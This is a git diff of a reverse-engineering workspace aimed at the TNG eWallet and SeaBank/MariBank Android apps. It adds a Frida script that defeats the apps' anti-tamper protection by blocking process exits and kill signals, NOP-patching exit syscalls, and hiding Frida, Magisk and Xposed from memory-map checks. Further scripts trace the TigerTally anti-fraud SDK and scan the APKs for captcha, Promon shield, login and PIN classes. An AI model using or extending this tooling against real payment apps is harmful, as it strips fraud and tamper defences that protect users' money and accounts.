|
||||
var m = Process.findModuleByName(moduleName);
|
||||
if (m) {
|
||||
var a = m.findExportByName(name);
|
||||
if (a) return a;
|
||||
}
|
||||
}
|
||||
} catch (e) {}
|
||||
try {
|
||||
return Module.getGlobalExportByName(name);
|
||||
} catch (e2) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
var patched = {};
|
||||
|
||||
function looksLikeExitSetup(addr) {
|
||||
for (var i = 1; i <= 12; i++) {
|
||||
try {
|
||||
var w = addr.sub(i * 4).readU32();
|
||||
var opc = w & 0xff800000;
|
||||
if (opc === 0x52800000 || opc === 0xd2800000) {
|
||||
var rd = w & 0x1f;
|
||||
var imm = (w >> 5) & 0xffff;
|
||||
if (rd === 8 && (imm === 93 || imm === 94)) return imm;
|
||||
}
|
||||
// mov x8, xN then earlier load — also catch svc after mov x0, #imm (exit code)
|
||||
if ((w & 0xffe0ffff) === 0xaa0003e8) return 8; // mov x8, x0.. pattern loose
|
||||
} catch (e) {}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function patchRegion(base, size, tag) {
|
||||
if (size <= 0 || size > 64 * 1024 * 1024) return;
|
||||
var key = base + ":" + size;
|
||||
if (patched[key]) return;
|
||||
patched[key] = true;
|
||||
var nop = [0x1f, 0x20, 0x03, 0xd5];
|
||||
var n = 0;
|
||||
var totalSvc = 0;
|
||||
try {
|
||||
// only scan 4-byte aligned by walking manually for reliability
|
||||
var end = base.add(size - 4);
|
||||
for (var p = base; p.compare(end) <= 0; p = p.add(4)) {
|
||||
var w;
|
||||
try {
|
||||
w = p.readU32();
|
||||
} catch (e) {
|
||||
break;
|
||||
}
|
||||
if (w !== 0xd4000001) continue; // svc #0
|
||||
totalSvc++;
|
||||
var kind = looksLikeExitSetup(p);
|
||||
if (!kind) continue;
|
||||
try {
|
||||
Memory.protect(p, 4, "rwx");
|
||||
p.writeByteArray(nop);
|
||||
n++;
|
||||
log("patched exit SVC#" + kind + " @ " + p + " [" + tag + "]");
|
||||
} catch (e2) {
|
||||
log("patch err " + p + ": " + e2);
|
||||
}
|
||||
}
|
||||
if (totalSvc > 0) {
|
||||
log("region " + tag + " svc#0=" + totalSvc + " patched=" + n + " size=" + size);
|
||||
}
|
||||
} catch (e) {
|
||||
log("scan err " + tag + ": " + e);
|
||||
}
|
||||
}
|
||||
|
||||
function scanAllExecutable(tag) {
|
||||
Process.enumerateRanges("r-x").forEach(function (r) {
|
||||
var file = r.file ? r.file.path : "anon";
|
||||
// skip system libs except if anonymous / app
|
||||
if (file.indexOf("/system/") === 0 || file.indexOf("/apex/") === 0) return;
|
||||
if (file.indexOf("frida") >= 0) return;
|
||||
patchRegion(r.base, r.size, tag + ":" + file);
|
||||
});
|
||||
}
|
||||
|
||||
function installLibcExitHooks() {
|
||||
function blockExit(name, address) {
|
||||
try {
|
||||
Interceptor.replace(
|
||||
address,
|
||||
new NativeCallback(
|
||||
function (code) {
|
||||
log("BLOCKED " + name + "(" + (code | 0) + ")");
|
||||
},
|
||||
"void",
|
||||
["int"]
|
||||
)
|
||||
);
|
||||
log("replaced " + name);
|
||||
} catch (e) {
|
||||
Interceptor.attach(address, {
|
||||
onEnter: function (args) {
|
||||
log("BLOCKED(attach) " + name + "(" + args[0].toInt32() + ")");
|
||||
while (true) Thread.sleep(60);
|
||||
},
|
||||
});
|
||||
log("attached " + name);
|
||||
}
|
||||
}
|
||||
|
||||
["_exit", "exit", "abort", "quick_exit"].forEach(function (n) {
|
||||
var a = findExport("libc.so", n);
|
||||
if (a) blockExit(n, a);
|
||||
});
|
||||
|
||||
["kill", "tgkill", "pthread_kill", "raise"].forEach(function (n) {
|
||||
var a = findExport("libc.so", n);
|
||||
if (!a) return;
|
||||
Interceptor.attach(a, {
|
||||
onEnter: function (args) {
|
||||
var pid = args[0].toInt32();
|
||||
var sig = args[1].toInt32();
|
||||
if ((pid === Process.id || pid === 0 || pid === -1) &&
|
||||
(sig === 9 || sig === 15 || sig === 6 || sig === 5)) {
|
||||
log("BLOCKED " + n + " sig=" + sig);
|
||||
args[1] = ptr(0);
|
||||
}
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
var sys = findExport("libc.so", "syscall");
|
||||
if (sys) {
|
||||
Interceptor.attach(sys, {
|
||||
onEnter: function (args) {
|
||||
var nr = args[0].toInt32();
|
||||
if (nr === 93 || nr === 94) {
|
||||
log("BLOCKED syscall exit " + nr);
|
||||
args[0] = ptr(-1);
|
||||
}
|
||||
},
|
||||
});
|
||||
}
|
||||
log("libc hooks OK");
|
||||
}
|
||||
|
||||
function installMprotectWatcher() {
|
||||
var mprotect = findExport("libc.so", "mprotect");
|
||||
var mmap = findExport("libc.so", "mmap");
|
||||
if (mprotect) {
|
||||
Interceptor.attach(mprotect, {
|
||||
onEnter: function (args) {
|
||||
this.addr = args[0];
|
||||
this.len = args[1].toInt32();
|
||||
this.prot = args[2].toInt32();
|
||||
},
|
||||
onLeave: function () {
|
||||
// PROT_EXEC = 4
|
||||
if (this.prot & 4) {
|
||||
log("mprotect+EXEC " + this.addr + " len=" + this.len);
|
||||
patchRegion(this.addr, this.len, "mprotect");
|
||||
}
|
||||
},
|
||||
});
|
||||
}
|
||||
if (mmap) {
|
||||
Interceptor.attach(mmap, {
|
||||
onEnter: function (args) {
|
||||
this.len = args[1].toInt32();
|
||||
this.prot = args[2].toInt32();
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
if ((this.prot & 4) && !retval.isNull()) {
|
||||
log("mmap+EXEC " + retval + " len=" + this.len);
|
||||
patchRegion(retval, this.len, "mmap");
|
||||
}
|
||||
},
|
||||
});
|
||||
}
|
||||
log("mprotect/mmap watchers OK");
|
||||
}
|
||||
|
||||
function installMapsHide() {
|
||||
var markers = ["frida", "gadget", "xposed", "lsposed", "vector", "zygisk", "magisk", "liblspd"];
|
||||
var tracked = {};
|
||||
function hide(line) {
|
||||
var l = (line || "").toLowerCase();
|
||||
for (var i = 0; i < markers.length; i++) if (l.indexOf(markers[i]) >= 0) return true;
|
||||
return false;
|
||||
}
|
||||
function filter(buf, len) {
|
||||
try {
|
||||
var text = buf.readUtf8String(len);
|
||||
if (!text) return len;
|
||||
var out = text.split("\n").filter(function (x) { return !hide(x); }).join("\n");
|
||||
var bytes = Memory.allocUtf8String(out);
|
||||
var n = Math.min(len, out.length);
|
||||
Memory.copy(buf, bytes, n);
|
||||
return n;
|
||||
} catch (e) {
|
||||
return len;
|
||||
}
|
||||
}
|
||||
var openat = findExport("libc.so", "openat");
|
||||
var readFn = findExport("libc.so", "read");
|
||||
if (openat) {
|
||||
Interceptor.attach(openat, {
|
||||
onEnter: function (args) {
|
||||
this.path = args[1].isNull() ? null : args[1].readCString();
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
var fd = retval.toInt32();
|
||||
if (fd >= 0 && this.path && this.path.indexOf("maps") >= 0) tracked[fd] = 1;
|
||||
},
|
||||
});
|
||||
}
|
||||
if (readFn) {
|
||||
Interceptor.attach(readFn, {
|
||||
onEnter: function (args) {
|
||||
this.fd = args[0].toInt32();
|
||||
this.buf = args[1];
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
var n = retval.toInt32();
|
||||
if (n > 0 && tracked[this.fd]) retval.replace(ptr(filter(this.buf, n)));
|
||||
},
|
||||
});
|
||||
}
|
||||
log("maps hide OK");
|
||||
}
|
||||
|
||||
function installJavaGuards() {
|
||||
if (typeof Java === "undefined") {
|
||||
setTimeout(installJavaGuards, 500);
|
||||
return;
|
||||
}
|
||||
Java.perform(function () {
|
||||
try {
|
||||
Java.use("java.lang.System").exit.implementation = function (c) {
|
||||
log("Java System.exit(" + c + ") blocked");
|
||||
};
|
||||
} catch (e) {}
|
||||
try {
|
||||
var R = Java.use("java.lang.Runtime");
|
||||
R.exit.overload("int").implementation = function (c) {
|
||||
log("Java Runtime.exit(" + c + ") blocked");
|
||||
};
|
||||
} catch (e) {}
|
||||
try {
|
||||
var P = Java.use("android.os.Process");
|
||||
P.killProcess.implementation = function (pid) {
|
||||
if (pid === P.myPid()) {
|
||||
log("Java killProcess(self) blocked");
|
||||
return;
|
||||
}
|
||||
return this.killProcess(pid);
|
||||
};
|
||||
} catch (e) {}
|
||||
log("Java guards OK");
|
||||
});
|
||||
}
|
||||
|
||||
log("load pid=" + Process.id);
|
||||
installLibcExitHooks();
|
||||
installMapsHide();
|
||||
installMprotectWatcher();
|
||||
scanAllExecutable("boot");
|
||||
setInterval(function () {
|
||||
scanAllExecutable("tick");
|
||||
}, 1000);
|
||||
installJavaGuards();
|
||||
log("ready");
|
||||
147
reverse/frida/trace_tng_tiger_fread.js
Normal file
147
reverse/frida/trace_tng_tiger_fread.js
Normal file
@@ -0,0 +1,147 @@
|
||||
"use strict";
|
||||
/*
|
||||
* TNG eWallet — 定位 TigerTally(libtiger_tally.so) 启动期 fread 阻塞。观察不改行为。
|
||||
*
|
||||
* 背景(ANR 栈): CaptchaInitializer → TigerTallyAPI.init → t.B.genericNt1(native)
|
||||
* → libtiger_tally.so (mNYjyzyN23) → fread → __sread → read 永远读不到数据
|
||||
*/
|
||||
const TIGER_SO = "libtiger_tally.so";
|
||||
|
||||
const LIBC = Process.getModuleByName("libc.so");
|
||||
const readlink = new NativeFunction(
|
||||
LIBC.findExportByName("readlink"), "long", ["pointer", "pointer", "ulong"]);
|
||||
|
||||
/* ---- Tiger 模块范围(热路径缓存,每 2s 刷新一次) ---- */
|
||||
let tigerMod = null;
|
||||
function refreshTiger() {
|
||||
const m = Process.findModuleByName(TIGER_SO);
|
||||
if (m) tigerMod = m;
|
||||
return !!tigerMod;
|
||||
}
|
||||
function inTiger(addr) {
|
||||
if (!addr) return false;
|
||||
if (!tigerMod) return false;
|
||||
return addr.compare(tigerMod.base) >= 0 && addr.compare(tigerMod.base.add(tigerMod.size)) < 0;
|
||||
}
|
||||
setInterval(() => { refreshTiger(); }, 2000);
|
||||
|
||||
function resolveFd(fd) {
|
||||
try {
|
||||
const link = Memory.allocUtf8String(`/proc/self/fd/${fd}`);
|
||||
const out = Memory.alloc(256);
|
||||
const n = readlink(link, out, 256);
|
||||
if (n > 0) return out.readUtf8String(Math.min(n, 255));
|
||||
} catch (e) { /* ignore */ }
|
||||
return "?";
|
||||
}
|
||||
function fdKind(fd) {
|
||||
const p = resolveFd(fd);
|
||||
if (p.indexOf("socket:") === 0) return "SOCKET " + p;
|
||||
if (p.indexOf("pipe:") === 0) return "PIPE " + p;
|
||||
if (p.indexOf("anon_inode:") === 0) return "ANON " + p;
|
||||
return p;
|
||||
}
|
||||
function threadName() {
|
||||
try { return Process.getCurrentThreadName(); } catch (e) { return "?"; }
|
||||
}
|
||||
function fmtAddr(a) { return a ? a.toString(16) : "?"; }
|
||||
|
||||
const stats = {}; // tid -> info
|
||||
function bump(fd, kind, ret) {
|
||||
const tid = Process.getCurrentThreadId();
|
||||
let s = stats[tid];
|
||||
if (!s) { s = { name: threadName(), reads: 0, lastFd: fd, lastFdKind: kind, lastRet: ret }; stats[tid] = s; }
|
||||
s.name = threadName();
|
||||
s.reads++;
|
||||
s.lastFd = fd;
|
||||
s.lastFdKind = kind;
|
||||
s.lastRet = ret;
|
||||
}
|
||||
|
||||
/* ---- fread: FILE* 第4参数; bionic __sFILE._file 偏移约 18 ---- */
|
||||
Interceptor.attach(LIBC.findExportByName("fread"), {
|
||||
onEnter(args) {
|
||||
const caller = this.returnAddress;
|
||||
if (!inTiger(caller)) return;
|
||||
const fp = args[3];
|
||||
let fd = -1;
|
||||
for (const off of [18, 16, 24, 20]) {
|
||||
try { const v = fp.add(off).readU16(); if (v > 0 && v < 4096) { fd = v; break; } }
|
||||
catch (e) { /* try next */ }
|
||||
}
|
||||
const kind = fd > 0 ? fdKind(fd) : "?";
|
||||
bump(fd, kind, "pending");
|
||||
console.log(`[FREAD] tid=${Process.getCurrentThreadId()} "${threadName()}" caller=${fmtAddr(caller)} fd=${fd} kind=${kind}`);
|
||||
},
|
||||
onLeave(ret) {
|
||||
if (!inTiger(this.returnAddress)) return;
|
||||
bump(-1, "", ret.toInt32());
|
||||
console.log(`[FREAD-LEAVE] tid=${Process.getCurrentThreadId()} ret=${ret.toInt32()}`);
|
||||
}
|
||||
});
|
||||
|
||||
/* ---- read: 只观察调用者位于 libtiger_tally.so 的 ---- */
|
||||
Interceptor.attach(LIBC.findExportByName("read"), {
|
||||
onEnter(args) {
|
||||
const caller = this.returnAddress;
|
||||
if (!inTiger(caller)) return;
|
||||
const fd = args[0].toInt32();
|
||||
const kind = fdKind(fd);
|
||||
bump(fd, kind, "?");
|
||||
console.log(`[READ] tid=${Process.getCurrentThreadId()} "${threadName()}" caller=${fmtAddr(caller)} fd=${fd} kind=${kind}`);
|
||||
},
|
||||
onLeave(ret) {
|
||||
if (!inTiger(this.returnAddress)) return;
|
||||
const tid = Process.getCurrentThreadId();
|
||||
const s = stats[tid];
|
||||
const fd = s ? s.lastFd : -1;
|
||||
const r = ret.toInt32();
|
||||
if (s) s.lastRet = r;
|
||||
if (r < 0) console.log(`[READ-RET] tid=${tid} fd=${fd} ret=${r} (blocked/error)`);
|
||||
else if (r === 0) console.log(`[READ-EOF] tid=${tid} fd=${fd} ret=0 (EOF/closed)`);
|
||||
else console.log(`[READ-RET] tid=${tid} fd=${fd} ret=${r}`);
|
||||
}
|
||||
});
|
||||
|
||||
/* ---- 周期 dump ---- */
|
||||
function dumpThreads() {
|
||||
try {
|
||||
const dir = new File("/proc/self/task", "r");
|
||||
const entries = dir.list();
|
||||
dir.close();
|
||||
let relevant = [];
|
||||
for (const e of entries) {
|
||||
let nm = "?";
|
||||
try { const nf = new File(`/proc/self/task/${e}/comm`, "r"); nm = nf.readString().trim(); nf.close(); } catch (err) {}
|
||||
const s = stats[e] || null;
|
||||
const lower = nm.toLowerCase();
|
||||
if (lower.indexOf("location") >= 0 || lower.indexOf("tally") >= 0 || s) {
|
||||
let info = `tid=${e} "${nm}"`;
|
||||
if (s) info += ` tigerReads=${s.reads} lastFd=${s.lastFd} kind=${s.lastFdKind} lastRet=${s.lastRet}`;
|
||||
relevant.push(info);
|
||||
}
|
||||
}
|
||||
console.log(`[DUMP] tiger-fread threads: ${relevant.length ? relevant.join(" | ") : "(none)"}`);
|
||||
} catch (e) {
|
||||
console.log(`[DUMP] failed: ${e}`);
|
||||
}
|
||||
}
|
||||
|
||||
setInterval(() => {
|
||||
dumpThreads();
|
||||
try {
|
||||
const dir = new File("/proc/self/fd", "r");
|
||||
const fds = dir.list();
|
||||
dir.close();
|
||||
let pipes = [], socks = [];
|
||||
for (const f of fds) {
|
||||
const kind = fdKind(parseInt(f, 10));
|
||||
if (kind.indexOf("PIPE") === 0) pipes.push(f + ":" + kind.split(" ").slice(1).join(" "));
|
||||
if (kind.indexOf("SOCKET") === 0) socks.push(f + ":" + kind.split(" ").slice(1).join(" "));
|
||||
}
|
||||
if (pipes.length) console.log(`[DUMP-FD] pipes: ${pipes.join(" | ")}`);
|
||||
if (socks.length) console.log(`[DUMP-FD] sockets: ${socks.join(" | ")}`);
|
||||
} catch (e) { /* ignore */ }
|
||||
}, 3000);
|
||||
|
||||
console.log("[TIGER-FREAD] armed (observe-only)");
|
||||
0
reverse/maribank_sg_screen.png
Normal file
0
reverse/maribank_sg_screen.png
Normal file
41
reverse/scripts/_dump_captcha_methods.py
Normal file
41
reverse/scripts/_dump_captcha_methods.py
Normal file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Dump aliyun captcha method signatures from TNG APK."""
|
||||
import zipfile
|
||||
import re
|
||||
import sys
|
||||
|
||||
apk = r"C:\Users\Administrator\Desktop\notiMessage\reverse\dumps\tng_1.9.10_base.apk"
|
||||
targets = [
|
||||
b"Lcom/aliyun/captcha/Captcha;",
|
||||
b"Lcom/aliyun/captcha/CaptchaWebViewDialog;",
|
||||
b"Lcom/aliyun/captcha/Captcha$VerificationCallback;",
|
||||
b"Lcom/aliyun/captcha/CaptchaWebViewDialog$CaptchaCompletionListener;",
|
||||
b"Lcom/aliyun/captcha/a;",
|
||||
b"Lcom/aliyun/captcha/b;",
|
||||
b"Lcom/aliyun/captcha/c;",
|
||||
]
|
||||
|
||||
# Method refs: Lclass;->name(args)ret
|
||||
pat = re.compile(
|
||||
rb"(Lcom/aliyun/captcha/[A-Za-z0-9_/$]+;)->([A-Za-z0-9_<>$]+)\(([^)]*)\)([A-Za-z0-9_/;$[\]-]+)"
|
||||
)
|
||||
|
||||
found = {t.decode(): set() for t in targets}
|
||||
with zipfile.ZipFile(apk) as z:
|
||||
for n in z.namelist():
|
||||
if not n.endswith(".dex"):
|
||||
continue
|
||||
data = z.read(n)
|
||||
for m in pat.finditer(data):
|
||||
clazz = m.group(1).decode()
|
||||
if clazz not in found:
|
||||
continue
|
||||
name = m.group(2).decode()
|
||||
args = m.group(3).decode()
|
||||
ret = m.group(4).decode()
|
||||
found[clazz].add(f"{name}({args}){ret}")
|
||||
|
||||
for clazz, methods in found.items():
|
||||
print("====", clazz, "n=", len(methods))
|
||||
for s in sorted(methods):
|
||||
print(" ", s)
|
||||
13
reverse/scripts/_paths.py
Normal file
13
reverse/scripts/_paths.py
Normal file
@@ -0,0 +1,13 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Shared paths for reverse/ scripts (scripts live in reverse/scripts/)."""
|
||||
from pathlib import Path
|
||||
|
||||
REVERSE_ROOT = Path(__file__).resolve().parent.parent
|
||||
APKS_DIR = REVERSE_ROOT / "apks"
|
||||
EXTRACTED_DIR = REVERSE_ROOT / "extracted"
|
||||
NATIVE_DIR = EXTRACTED_DIR / "native"
|
||||
TMP_DIR = REVERSE_ROOT / "tmp"
|
||||
OUTPUT_DIR = REVERSE_ROOT / "output"
|
||||
LOGS_DIR = REVERSE_ROOT / "logs"
|
||||
|
||||
DEFAULT_APK = APKS_DIR / "seabank_ph_base.apk"
|
||||
81
reverse/scripts/_scan_calling_code.py
Normal file
81
reverse/scripts/_scan_calling_code.py
Normal file
@@ -0,0 +1,81 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Scan TNG APK for CallingCode / country UI / HW-related classes."""
|
||||
import re
|
||||
import sys
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\dumps\tng_base_scan.apk"
|
||||
|
||||
NEEDLES = [
|
||||
b"UserSearchCallingCodeActivity",
|
||||
b"CallingCode",
|
||||
b"ll_country",
|
||||
b"BottomSelect",
|
||||
b"BottomSelectDialogFragment",
|
||||
b"ftv_title",
|
||||
b"i7.l",
|
||||
b"enableHardwareAcceleration",
|
||||
b"FLAG_HARDWARE_ACCELERATED",
|
||||
]
|
||||
|
||||
|
||||
def main():
|
||||
z = zipfile.ZipFile(APK)
|
||||
print("=== DEX STRING HITS ===")
|
||||
for name in sorted(z.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = z.read(name)
|
||||
hits = [s.decode() for s in NEEDLES if s in data]
|
||||
if hits:
|
||||
print("%s -> %s" % (name, hits))
|
||||
|
||||
print("\n=== CLASS NAMES (CallingCode / BottomSelect / country) ===")
|
||||
pat = re.compile(
|
||||
rb"L[a-zA-Z0-9_$/]*(?:CallingCode|BottomSelect|Country|country)[a-zA-Z0-9_$/]*;"
|
||||
)
|
||||
found = set()
|
||||
for name in sorted(z.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = z.read(name)
|
||||
for m in pat.findall(data):
|
||||
found.add(m.decode("ascii", "ignore")[1:-1].replace("/", "."))
|
||||
for c in sorted(found):
|
||||
print(" ", c)
|
||||
|
||||
print("\n=== CONTEXT AROUND UserSearchCallingCodeActivity ===")
|
||||
target = b"UserSearchCallingCodeActivity"
|
||||
for name in sorted(z.namelist()):
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = z.read(name)
|
||||
start = 0
|
||||
n = 0
|
||||
while True:
|
||||
idx = data.find(target, start)
|
||||
if idx < 0:
|
||||
break
|
||||
s = max(0, idx - 80)
|
||||
e = min(len(data), idx + len(target) + 120)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b".", data[s:e])
|
||||
print("[%s @%d] %s" % (name, idx, chunk.decode("ascii", "ignore")))
|
||||
start = idx + 1
|
||||
n += 1
|
||||
if n >= 8:
|
||||
break
|
||||
|
||||
# Manifest component
|
||||
print("\n=== ANDROIDMANIFEST snippets ===")
|
||||
try:
|
||||
# binary manifest — just search utf16/utf8 remnants in apk
|
||||
data = z.read("AndroidManifest.xml")
|
||||
for key in (b"CallingCode", b"hardwareAccelerated", b"user.view"):
|
||||
if key in data or key.decode().encode("utf-16le") in data:
|
||||
print(" manifest contains", key)
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
68
reverse/scripts/_scan_calling_code_deep.py
Normal file
68
reverse/scripts/_scan_calling_code_deep.py
Normal file
@@ -0,0 +1,68 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Deeper scan: UserSearchCallingCodeActivity methods / Compose / launch."""
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\dumps\tng_base_scan.apk"
|
||||
|
||||
def strings_near(data, needle, radius=200, limit=15):
|
||||
out = []
|
||||
start = 0
|
||||
while len(out) < limit:
|
||||
idx = data.find(needle, start)
|
||||
if idx < 0:
|
||||
break
|
||||
s = max(0, idx - radius)
|
||||
e = min(len(data), idx + len(needle) + radius)
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b".", data[s:e])
|
||||
out.append(chunk.decode("ascii", "ignore"))
|
||||
start = idx + 1
|
||||
return out
|
||||
|
||||
def main():
|
||||
z = zipfile.ZipFile(APK)
|
||||
# Collect interesting strings from classes that have CallingCode
|
||||
keys = [
|
||||
b"CallingListScreen",
|
||||
b"setContent",
|
||||
b"ComposeView",
|
||||
b"AbstractComposeView",
|
||||
b"ComponentActivity",
|
||||
b"getCallingCodeList",
|
||||
b"CountryListRepository",
|
||||
b"startActivity",
|
||||
b"UserSearchCallingCodeActivity",
|
||||
b"ll_country",
|
||||
b"hardwareAccelerated",
|
||||
b"RecyclerView",
|
||||
b"LazyColumn",
|
||||
b"androidx/compose",
|
||||
]
|
||||
for dex in sorted(n for n in z.namelist() if n.endswith(".dex")):
|
||||
data = z.read(dex)
|
||||
if b"UserSearchCallingCodeActivity" not in data and b"CallingListScreen" not in data and b"ll_country" not in data:
|
||||
continue
|
||||
print("\n========", dex, "========")
|
||||
for k in keys:
|
||||
if k in data:
|
||||
print("HAS", k.decode())
|
||||
if b"CallingListScreen" in data:
|
||||
print("--- CallingListScreen ctx ---")
|
||||
for c in strings_near(data, b"CallingListScreen", 120, 6):
|
||||
print(" ", c[:240])
|
||||
if b"ll_country" in data:
|
||||
print("--- ll_country ctx ---")
|
||||
for c in strings_near(data, b"ll_country", 100, 8):
|
||||
print(" ", c[:240])
|
||||
|
||||
# Who references UserSearchCallingCodeActivity (launchers)
|
||||
print("\n=== who references UserSearchCallingCodeActivity class desc ===")
|
||||
desc = b"Lmy/com/tngdigital/user/view/UserSearchCallingCodeActivity;"
|
||||
for dex in sorted(n for n in z.namelist() if n.endswith(".dex")):
|
||||
data = z.read(dex)
|
||||
count = data.count(desc)
|
||||
if count:
|
||||
print(dex, "count=", count)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
16
reverse/scripts/_scan_captcha.py
Normal file
16
reverse/scripts/_scan_captcha.py
Normal file
@@ -0,0 +1,16 @@
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
apk = r"C:\Users\Administrator\Desktop\notiMessage\reverse\dumps\tng_1.9.10_base.apk"
|
||||
z = zipfile.ZipFile(apk)
|
||||
pat = re.compile(rb"Lcom/aliyun/captcha/[A-Za-z0-9_/$]+;")
|
||||
found = set()
|
||||
for n in z.namelist():
|
||||
if not n.endswith(".dex"):
|
||||
continue
|
||||
data = z.read(n)
|
||||
for m in pat.findall(data):
|
||||
found.add(m.decode())
|
||||
for c in sorted(found):
|
||||
print(c)
|
||||
print("total", len(found))
|
||||
59
reverse/scripts/_scan_country_select.py
Normal file
59
reverse/scripts/_scan_country_select.py
Normal file
@@ -0,0 +1,59 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Compare CallingCode vs CountrySelect activities / intent extras."""
|
||||
import re
|
||||
import zipfile
|
||||
|
||||
APK = r"C:\Users\Administrator\Desktop\notiMessage\reverse\dumps\tng_base_scan.apk"
|
||||
|
||||
|
||||
def near(data, needle, r=180, lim=12):
|
||||
out = []
|
||||
start = 0
|
||||
while len(out) < lim:
|
||||
i = data.find(needle, start)
|
||||
if i < 0:
|
||||
break
|
||||
chunk = re.sub(rb"[^\x20-\x7e]+", b".", data[max(0, i - r): i + len(needle) + r])
|
||||
out.append(chunk.decode("ascii", "ignore"))
|
||||
start = i + 1
|
||||
return out
|
||||
|
||||
|
||||
def main():
|
||||
z = zipfile.ZipFile(APK)
|
||||
for dex in sorted(n for n in z.namelist() if n.endswith(".dex")):
|
||||
data = z.read(dex)
|
||||
if b"UserCountrySelectActivity" not in data and b"UserSearchCallingCodeActivity" not in data:
|
||||
continue
|
||||
print("\n====", dex, "====")
|
||||
for n in (b"UserCountrySelectActivity", b"AbsCountrySelectActivity",
|
||||
b"newIntent", b"CallingListScreen"):
|
||||
if n in data:
|
||||
print("HAS", n.decode())
|
||||
for n in (b"UserSearchCallingCodeActivity", b"UserCountrySelectActivity"):
|
||||
if n not in data:
|
||||
continue
|
||||
print("--", n.decode(), "--")
|
||||
for c in near(data, n, 100, 6):
|
||||
if "Hilt_" in c and ".java" in c:
|
||||
continue
|
||||
print(" ", c[:220])
|
||||
|
||||
print("\n=== calling/country intent-like strings ===")
|
||||
seen = set()
|
||||
for dex in sorted(n for n in z.namelist() if n.endswith(".dex")):
|
||||
data = z.read(dex)
|
||||
if b"CallingCode" not in data and b"CountrySelect" not in data:
|
||||
continue
|
||||
for m in re.findall(
|
||||
rb"(?:EXTRA_|KEY_|arg_|ARG_)[A-Za-z0-9_]{2,40}|"
|
||||
rb"[A-Za-z0-9_]{0,15}(?:calling_code|CallingCode|country_code|CountryCode|countryList)[A-Za-z0-9_]{0,20}",
|
||||
data):
|
||||
s = m.decode("ascii", "ignore")
|
||||
if s not in seen and len(s) > 6:
|
||||
seen.add(s)
|
||||
print(" ", s)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
41
reverse/scripts/_scan_tng_promon_pkg.py
Normal file
41
reverse/scripts/_scan_tng_promon_pkg.py
Normal file
@@ -0,0 +1,41 @@
|
||||
import zipfile
|
||||
import re
|
||||
|
||||
z = zipfile.ZipFile(r"reverse/dumps/tng_1.9.10_base.apk")
|
||||
names = [n for n in z.namelist() if n.endswith(".dex")]
|
||||
|
||||
# Find packages that look like Promon (short random package + few classes)
|
||||
# Also search string markers
|
||||
markers = [
|
||||
b"promon",
|
||||
b"Promon",
|
||||
b"PROMON",
|
||||
b"xwwqazamx",
|
||||
b"Rooting",
|
||||
b"jailbroken",
|
||||
b"JailBroken",
|
||||
b"W:16",
|
||||
b"libtngdigital_ewallet",
|
||||
]
|
||||
|
||||
for m in markers:
|
||||
hits = 0
|
||||
for n in names:
|
||||
hits += z.read(n).count(m)
|
||||
print(f"marker {m!r}: {hits}")
|
||||
|
||||
# Extract L.../...; type descriptors that contain 'promon' case-insensitive or weird short pkgs
|
||||
pkg_re = re.compile(rb"L([a-z]{6,12})/([A-Za-z0-9_$]{1,20});")
|
||||
pkg_counts = {}
|
||||
for n in names:
|
||||
data = z.read(n)
|
||||
for m in pkg_re.findall(data):
|
||||
pkg = m[0].decode("ascii", errors="ignore")
|
||||
pkg_counts[pkg] = pkg_counts.get(pkg, 0) + 1
|
||||
|
||||
# Show rare short packages (likely obfuscated)
|
||||
cands = [(p, c) for p, c in pkg_counts.items() if 5 <= c <= 500 and p.isalpha() and len(p) <= 12]
|
||||
cands.sort(key=lambda x: -x[1])
|
||||
print("\ncandidate obfuscated packages:")
|
||||
for p, c in cands[:40]:
|
||||
print(f" {p}: {c}")
|
||||
41
reverse/scripts/_scan_tng_structure.py
Normal file
41
reverse/scripts/_scan_tng_structure.py
Normal file
@@ -0,0 +1,41 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
import re
|
||||
import zipfile
|
||||
from pathlib import Path
|
||||
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "tng" / "base.apk"
|
||||
if not APK.exists():
|
||||
APK = Path(__file__).resolve().parent.parent / "apks" / "tng" / "tng.apk"
|
||||
|
||||
acts = set()
|
||||
ops = set()
|
||||
xww = set()
|
||||
tng = set()
|
||||
|
||||
with zipfile.ZipFile(str(APK)) as zf:
|
||||
for name in zf.namelist():
|
||||
if not name.endswith(".dex"):
|
||||
continue
|
||||
data = zf.read(name)
|
||||
for m in re.finditer(rb"my/com/tngdigital/[a-zA-Z0-9_/]+Activity", data):
|
||||
acts.add(m.group().decode().replace("/", "."))
|
||||
for m in re.finditer(rb"com\.(?:abl|tngd|zoloz|alipayplus)\.[a-z0-9.]+", data):
|
||||
s = m.group().decode("ascii", "ignore")
|
||||
if any(k in s for k in ("wallet", "otp", "login", "register", "phone", "member", "jail", "customer", "pin", "mobile")):
|
||||
ops.add(s)
|
||||
for m in re.finditer(rb"xwwqazamx/[a-zA-Z0-9_]+", data):
|
||||
xww.add(m.group().decode().replace("/", "."))
|
||||
|
||||
print("=== User flow Activities ===")
|
||||
for a in sorted(acts):
|
||||
if any(k in a for k in ("User", "Splash", "Guide", "Registration", "Login", "Otp", "Pin", "WebView", "Security")):
|
||||
print(a)
